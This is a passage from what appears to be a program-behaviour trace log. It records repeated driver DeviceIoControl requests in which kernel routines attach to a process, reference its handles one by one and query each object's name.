dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.902] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.902] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.902] PsAcquireProcessExitSynchronization () returned 0x0 [0112.902] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.903] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0112.903] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.903] PsReleaseProcessExitSynchronization () returned 0x2 [0112.903] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.903] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.903] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0112.903] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.903] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.903] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.903] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.903] PsAcquireProcessExitSynchronization () returned 0x0 [0112.903] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.903] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0112.903] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.903] PsReleaseProcessExitSynchronization () returned 0x2 [0112.903] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.903] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.903] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0112.903] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.903] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.903] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.903] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.903] PsAcquireProcessExitSynchronization () returned 0x0 [0112.903] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.903] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0112.903] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.903] PsReleaseProcessExitSynchronization () returned 0x2 [0112.903] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.903] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.903] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0112.903] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.904] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.904] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.904] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.904] PsAcquireProcessExitSynchronization () returned 0x0 [0112.904] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.904] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0112.904] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.904] PsReleaseProcessExitSynchronization () returned 0x2 [0112.904] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.904] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.904] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0112.904] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.904] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.904] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.904] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.904] PsAcquireProcessExitSynchronization () returned 0x0 [0112.904] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.904] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0112.904] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.904] PsReleaseProcessExitSynchronization () returned 0x2 [0112.904] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.904] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.904] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0112.904] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.904] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.904] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.904] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.904] PsAcquireProcessExitSynchronization () returned 0x0 [0112.904] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.905] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0112.905] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.905] PsReleaseProcessExitSynchronization () returned 0x2 [0112.905] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.905] ObQueryNameString (in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.905] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0112.905] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.905] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.905] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.905] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.905] PsAcquireProcessExitSynchronization () returned 0x0 [0112.905] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.905] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0112.905] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.905] PsReleaseProcessExitSynchronization () returned 0x2 [0112.905] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.905] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.905] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0112.905] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.905] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.905] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.905] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.905] PsAcquireProcessExitSynchronization () returned 0x0 [0112.905] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.905] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0112.905] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.905] PsReleaseProcessExitSynchronization () returned 0x2 [0112.905] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.905] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.905] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0112.905] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.906] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.906] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.906] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.906] PsAcquireProcessExitSynchronization () returned 0x0 [0112.906] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.906] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0112.906] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.906] PsReleaseProcessExitSynchronization () returned 0x2 [0112.906] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.906] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.906] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0112.906] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.906] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.906] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.906] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.906] PsAcquireProcessExitSynchronization () returned 0x0 [0112.906] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.906] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0112.906] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.906] PsReleaseProcessExitSynchronization () returned 0x2 [0112.906] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.906] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.906] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0112.906] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.906] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.906] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.906] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.906] PsAcquireProcessExitSynchronization () returned 0x0 [0112.906] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.907] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0112.907] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.907] PsReleaseProcessExitSynchronization () returned 0x2 [0112.907] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.907] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.907] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0112.907] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.907] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.907] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.907] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.907] PsAcquireProcessExitSynchronization () returned 0x0 [0112.907] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.907] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0112.907] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.907] PsReleaseProcessExitSynchronization () returned 0x2 [0112.907] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.907] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.907] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0112.907] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.907] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.907] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.907] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.907] PsAcquireProcessExitSynchronization () returned 0x0 [0112.907] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.907] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0112.907] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.907] PsReleaseProcessExitSynchronization () returned 0x2 [0112.907] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.907] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.907] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0112.907] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.908] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.908] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.908] PsAcquireProcessExitSynchronization () returned 0x0 [0112.908] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.908] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0112.908] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.908] PsReleaseProcessExitSynchronization () returned 0x2 [0112.908] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.908] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.908] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0112.908] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.908] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.908] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.908] PsAcquireProcessExitSynchronization () returned 0x0 [0112.908] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.908] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0112.908] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.908] PsReleaseProcessExitSynchronization () returned 0x2 [0112.908] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.908] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.908] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0112.908] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.908] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.908] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.908] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.908] PsAcquireProcessExitSynchronization () returned 0x0 [0112.908] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, 